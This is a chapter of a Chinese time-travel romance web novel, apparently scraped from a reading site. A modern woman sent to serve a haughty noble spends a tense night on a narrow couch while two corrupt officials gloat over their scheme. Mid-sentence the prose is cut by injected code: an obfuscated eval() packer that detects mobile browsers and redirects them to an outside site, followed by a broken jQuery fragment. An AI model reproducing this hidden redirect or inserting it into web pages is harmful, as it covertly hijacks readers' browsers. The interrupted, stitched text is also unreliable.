一阵凉风吹来,灯檠的烛火忽明忽暗。
头顶的力道陡然一松,沈黛一个没稳住直接匍匐在地。
室内陡然寂静,只有不断从窗外吹来的几缕夜风扶动着头顶的发丝。
长橙艰难的憋着笑去点了几盏灯火将屋子照的亮如白昼,视线在沈黛身上扫了几息道:
“世子爷,真是沈娘子。”
这个沈娘子也是个妙人,三年前就放着爷这样风月霁月的绝世美男不理,硬深深的自个儿睡了一夜,如今三年后重逢,不想着如何勾住爷的心,又一心自个儿就睡着了。
不过细瞧这沈娘子虽然还是跟三年前一样的眉眼,但是如今的气质却比三年前要鲜活许多,大抵是五官长开了吧,看起来更加艳丽动人了。
这样的美貌,也不怪那胡转运司几次把主意打到她身上。
只是奇的是怎么在她眼里,爷都没她睡一觉重要?
他都不敢看爷的脸色,虽然爷十分厌恶小娘子们将他放在心上,但同时他也是个小心眼的,如果小娘子们像这样完全不把他放在心上,他也是不会让她好过的。
想着,他偷偷用余光扫向崔彦,果见他面沉如霜,眼若寒潭,而站在他身旁的沈娘子,却不知道何时悄悄起了身,正一脸痴迷的看着他。
他一想糟了,爷最讨厌女子用这样的眼神看他了。
果然就听见崔彦冰冷的声音响起:“滚出去”。
沈黛是没有想到她一抬眼看到的这人竟然是今儿上午在朱雀桥边见到的那位崔大人,当时她还在心里称赞他是清官了,寄希望于他可以帮那老爷爷找到女儿,希望他能为这江宁老百姓洗刷冤屈、主持公道,但是她实在没有想到他竟然还是她的老板,你说惊不惊喜?
而且近看这崔世子身材、面相,可以说是,面如冠玉、目若朗星,宽肩窄腰身姿挺拔,简直成神,她在现代看过那么多男模、男明星都没有一个能抵得上他。
她一时看迷了眼,此时听他说“滚出去”,才后知后觉意识到自己可以下班了,没想到老板那么好伺候,都不用陪睡,虽然发了火,但是当下属的也有要随时做老板出气筒的自觉,等他火灭了,再谈工作。
于是她抬腿就走,头也不回。
让滚就滚呀,不行礼不辩解,长橙是懵了,这沈娘子...沈娘子...也太有个性了。
沈黛踏着轻快的步子,心想着今晚是去兰竹还是去兰菊那里挤一晚,就又听到崔彦隐含怒气的声音在身后响起:
“站住。”沈黛僵硬了,这位爷不会改变主意了吧。
“转过身来。”怒气又加重了几分。
沈黛不敢磨蹭了,老老实实的转过身,在这古代崔彦不仅仅是他的老板,更是生杀予夺的掌权者,跟他玩心眼就是找死,她首先要表现的就是态度和忠心,要把“好的,收到,马上”挂在嘴边。
“好的,世子,还有什么吩咐吗?我马上去办。”她刚才之所以滚的那么快,也只是因为执行力太高,并没有任何对你不敬的意思啊。
她站在距离他几米远的地方,微低着头,连眼尾都不敢抬,一脸的谦卑恭谨。
果然崔彦见她这态度,摩挲杯盖的力度也轻了几分,只是平淡的声音顿挫之间却带着穿透人心的力度。
“既然来到这里,可清楚自己是谁...的人?”
这是在试探她胡大人把她送到这里,她能不能认清自己的身份,这一点很重要,她想待在这里就绝对不能一仆事二主,如果她不想待在这里,也不知道还能不能有个活路。
哎,想通这一点,她立马积极且狗腿的回复道:
“知道,知道,是世子的人,世子指哪儿我打哪?”
崔彦难得的笑了,顿时屋子都似乎亮了几分。
“你倒是个识实物的,今晚就睡这里吧。”
又用眼神了看了看长橙,长橙领命缓缓退了出去,顿时屋子里就剩她和崔彦了。
他这是什么意思?是要睡吗?
她终于忍不住抬眼,再次看了看崔彦,这堪比天神下凡的颜值如果非要睡,也不是不可,就是不知道他有没有成婚生子,如果有的话,虽然这是在古代,她可能还是会有一点负罪感。
就在沈黛胡思乱想的时候,崔彦已经去了净室,不一会儿里面就传来哗啦啦的水声。
沈黛的脑海跟着...不可控制的冒出他宽衣解带....甚至是刺身罗体的画面...渐渐的脸都红了。
他给自己灌了一杯茶才静下来,忽然就拉住了给崔彦送寝衣出来的长橙道:
“长大人,我能不能问一下世子他娶妻了吗?”
长橙先被她这一声长大人给搞懵了,后面又听她打听世子的婚事,看她的眼神都不太对劲了。
“我不是什么长大人,娘子唤我一声长橙便好,世子虽然尚未婚配,但是他身份高贵,不是一般女子可肖想的。”
“没有婚配就好,长大人...”瞄见他脸色不对,又立马改口道:“长橙...我就问问,免得让世子夫人误会。”
长橙便觉察他误会了她,这么来看她倒是及其知道分寸的,不然也不会能在爷身边留下来,于是他也不吝啬提点道:
“世子是个极其洁身自好的人,对自己、对别人要求都很高,他至今不但没有世子妃,连个通房、姨娘都没有,娘子你这样的是头一份,以后前程大着呢。”
沈黛在心里暗骂谁要个大头鬼的前程,面上却一副卑躬屈膝、感激涕零的样子道:
“知道了,幸亏有长橙你提醒。”
“世子是个长情的人,你先别气馁,等你跟她久了,他迟早会把你放心上的。”
沈黛还在想他这话跨度有点大,就见他指了指脚边的刚挪进来的一张仅有一人宽的小榻道:“委屈沈娘子今晚在这将就一宿。”
沈黛看着这小榻确实有点嫌弃,但是想着不用陪睡,心情又好了不少。
“不将就不将就,睡这挺好的,世子的安排挺好的。”
这个差事办的不错,长橙又给一旁博山炉里点了沉香,便一脸满意的出了屋子。
沈黛在小榻上试坐了一下,还挺扎实的,就是有点软不知道晚上腰会不会痛。
崔彦如果晚上不想和她睡,其实完全可以让她去隔壁睡又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269216|182228||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是没有房间,让她在这里他自己未必好受,大抵还是因为她是胡大人送来的,他不好驳了他的面子吧。
她这样想着就见崔彦穿着月白杭绸寝衣出来了,绸带系的松了,领口划开了半寸,露出长长的锁骨淡影,长腿一跨径直上了床。
“熄灯。”
淡淡带着低沉的声音传来,沈黛赶紧收回视线,缓步过去吹灭了所有灯火,然后回到了自己的小榻,只是真的被她说中了,这个小榻有点软,腰落在中间不舒服,然后就是要命的她下午睡了一大觉,现在根本就不困,她越想早点睡越睡不着,短短半个时辰就翻了几次身。
夜色浓郁,空气静谧,沈黛每一次翻身都小心翼翼的,深怕搞出动静惊醒了崔彦。
而崔彦一向浅眠,今儿又游了一天的船,早就困乏不堪,本想早点入睡,明儿还有一场仗要打,却不想底下不断传来细碎翻床的声音,隔上一段时间一次,他好不容易入睡就被她吵醒了,他一向不是委屈自己的性子,若不是今儿在朱雀街上当众接了状子,又让老百姓都去他那伸冤,算是当众下了江宁府的脸面,今儿不好再拒绝江宁送来的这个女子,以免引起不必要的误会,给后面办案带来麻烦。
只是若她是个碍事的,纵然再大的麻烦又如何,哪还有他不能摆平的。
“再动,就连人带榻一起出去。”
他声音冰冷的没有一丝温度,仿佛下一刻沈黛再动一下,他随时可能嘎了她。
“世子,我再不动了,你好好睡。”
沈黛蜷缩着身子躺在小榻上,把头卷得低低的,浓密的长睫如蝴蝶的翅膀微微抖动着。
她再不敢动了,小心翼翼的在脑海里数小羊,即使身上痒了也不敢挠,任凭心脏跟着痒的一颤一颤的,也不敢动一分,不知不觉眼泪也开始在眼睛里打转,却绝不敢哭出声来。
她想她已经比这里很多妇女都要过的好了,她左邻的顾娘子生了五个女娃娃还要养家糊口,丈夫一无是处还要用她的钱纳妾享乐,右舍的孟娘子生了三个男娃娃,还要把自己典给大财主生儿子,给生病的丈夫、弱小的儿子赚取生活费,她只不过是睡的床小一点,老板凶一点罢了,她有什么好矫情的,第二天醒来谁还不是人间值得。
漫漫长夜对于沈黛来说是一场煎熬,而对于蹲在远处厢房外墙角处的胡转运司和张平司来说却恰似久旱逢甘霖。
“胡兄,那崔司史竟真收了那沈娘子?”张平司一脸激动。
胡转运司却是得意一笑,摸了摸自己两撇八字胡道:“我就说是人就有欲望,如果没有欲望,只是因为诱惑还不够,他想做那圣山上的白莲,我们非要把他拖入泥里。”
“是这个理,那沈娘子胡兄还得让人看顾好了。”
“张老弟你就放心了,我的手段你还不清楚。”
“放心,放心,那沈娘子必定逃不出你的手掌心。”
今儿崔司史在朱雀桥边那一副清官的做派,着实让他们的心悬了又悬。
原以为是个多么清廉孤高的直臣,却不想也是个沽名钓誉的。
两人哈哈笑着,勾着背就“哥两好”的往家去。